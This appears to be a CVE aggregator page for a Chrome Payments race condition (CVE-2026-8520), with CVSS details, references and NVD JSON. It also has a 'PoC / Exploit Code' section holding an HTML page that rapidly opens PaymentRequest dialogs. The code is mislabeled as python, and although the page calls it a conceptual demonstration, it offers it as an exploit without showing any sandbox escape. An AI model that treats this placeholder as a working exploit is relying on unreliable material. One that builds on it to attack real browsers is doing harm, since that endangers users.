CVE-2026-8520

Description

Race in Payments in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)

CVSS Details

CVSS Score

8.3

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.168

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
  PoC for CVE-2026-8520 (Race Condition in Chrome Payments)
  This is a conceptual demonstration.
-->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-8520 PoC</title>
    <script>
        function exploit() {
            // Attempt to trigger the race condition in the Payment Request API
            const methodData = [{ supportedMethods: 'basic-card' }];
            const details = { total: { label: 'Demo', amount: { currency: 'USD', value: '0.01' } } };
            
            try {
                // Rapidly creating requests to induce race condition
                for (let i = 0; i < 50; i++) {
                    const request = new PaymentRequest(methodData, details);
                    request.show().catch(err => {});
                }
            } catch (e) {
                console.log("PaymentRequest API not supported or error occurred");
            }
        }
        
        window.addEventListener('load', () => {
            // Simulate user interaction requirement
            document.body.addEventListener('click', exploit);
            console.log("Click anywhere on the page to attempt trigger");
        });
    </script>
</head>
<body>
    <h1>CVE-2026-8520 Chrome Payments Race Condition</h1>
    <p>Click this page to test.</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8520
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8520
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8520/
[4] VulDB https://vuldb.com/cve/CVE-2026-8520
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
[6] https://issues.chromium.org/issues/503619813

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8520", "sourceIdentifier": "[email protected]", "published": "2026-05-14T20:17:12.770", "lastModified": "2026-05-14T22:16:46.260", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Race in Payments in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/503619813", "source": "[email protected]"}]}}